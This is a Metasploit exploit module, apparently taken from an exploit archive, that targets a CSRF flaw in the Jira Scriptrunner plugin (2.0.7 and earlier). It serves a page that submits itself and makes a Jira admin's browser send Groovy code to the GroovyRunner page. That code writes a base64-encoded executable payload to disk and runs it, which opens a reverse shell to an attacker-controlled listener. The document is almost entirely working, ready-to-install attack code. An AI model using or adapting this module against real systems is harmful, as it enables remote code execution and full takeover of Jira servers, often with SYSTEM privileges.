Jira Scriptrunner 2.0.7 <= CSRF/RCE Exploit

#[Author] Ben 'highjack' Sheppard
#[Title] Jira Scriptrunner 2.0.7 <= CSRF/RCE
#[Twitter] @highjack_
#[Author Url] http://bensheppard.net/jira-scriptrunner-2-0-7/
#[Vendor Url] https://marketplace.atlassian.com/plugins/com.onresolve.jira.groovy.groovyrunner
#[Install] To use this copy it into ~/.msf4/modules/exploits/windows/http/scriptrunner.rb

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize
super(
  'Name' => 'Jira Scriptrunner 2.0.7 <= CSRF/RCE',
  'Description' => %q{This jira plugin does notuse the built in jira protections (websudo or csrf tokens)
     to protect the page from CSRF. This page is supposed to be used by admins to automate tasks,
    it will accept java code and by default in a windows environment jira will
    be run as system},
  'Author' => [ 'Ben \'highjack\' Sheppard'],
  'License' => MSF_LICENSE,
  'Version' => 'Revision: 1 ',
  'Platform' => [ 'win'],
  'Targets' =>
   [
    ['Windows',   { 'Arch' => ARCH_X86, 'Platform' => 'win'   }]
   ],
  'DefaultTarget' => 0
  )

register_options(
                        [
    OptString.new('RHOST', [true, 'Remote host of jira box']),
                                OptPort.new('RPORT', [true, 'Remote port of jira box', 8080]),
    OptString.new('LHOST', [true, 'Multihandler host to listen on']),
    OptBool.new('IS_SSL', [true, 'Does the target use ssl?', false]),
    OptPort.new('LPORT', [true, 'Multihandler port to listen on',4444])
                        ], self.class)

end

def csrf(url)
  shell = Rex::Text.rand_text_alpha(rand(8)+3) + ".exe"
  opts                = {:arch => target.arch, :platform => target.platform}
  encodedPayload      = Rex::Text.encode_base64(generate_payload_exe(opts))

  payloadLength = encodedPayload.length
                chunkLength = 500

                stringBuffer = ""
                for i in (0..payloadLength / chunkLength)
                        if payloadLength < i+chunkLength
                                 position = payloadLength-i
                        else
                                position = chunkLength
                        end
                        stringBuffer = stringBuffer + "encodedPayload.append(\"" + encodedPayload[i*chunkLength,position] + "\");\n"
                end

  jiraPayload = %Q|
    import sun.misc.BASE64Decoder;
    import java.io.*;
                         Runtime rt = Runtime.getRuntime();
    try
    {

    StringBuffer encodedPayload = new StringBuffer();
    #{stringBuffer}
    String sEncodedPayload = new String(encodedPayload.toString());
    BASE64Decoder b64decoder = new BASE64Decoder();
    byte[] decodedPayload = b64decoder.decodeBuffer(sEncodedPayload);

    BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream("#{shell}"));
    output.write(decodedPayload);
    output.close();
    }
    catch (Exception e)
    {
    return(e);
    }
    try
    {
  |
  jiraPayload = jiraPayload + "rt.exec(\"#{shell}\");}catch (Exception e){return (e);}"
  html = %Q|
  <html>
  <head></head>
  <body>
  <form action='#{url}/secure/admin/groovy/GroovyRunner.jspa' method='POST' id='groovy'>
  <input type='hidden' name='scriptLanguage' value='Groovy' />
  <div style='display:none'>
  <textarea name='script'>#{jiraPayload}</textarea>
  </div>
  <input type='hidden' name='Run&32;now' value='Run&32;now' />
  </form>
  <script>document.getElementById('groovy').submit();</script>
  </body>
  </html>
  |
  return html
end

def getUrl()
  rhost = datastore['RHOST']
  rport = datastore['RPORT']
  isSsl = datastore['IS_SSL']

  if isSsl == true
   url = 'https://'
  else
   url = 'http://'
  end
  url = url + rhost + ':' + rport
  return url
end
def on_request_uri(cli, request)
  url = getUrl()
  print_status("\n#{self.name} handling response\n")
  send_response_html( cli, csrf(url), { 'Content-Type' => 'text/html' } )
  return
end

end

EKU-ID: 2789	CVE:	OSVDB-ID:
Author: Ben Sheppard	Published: 2012-11-14	Verified:
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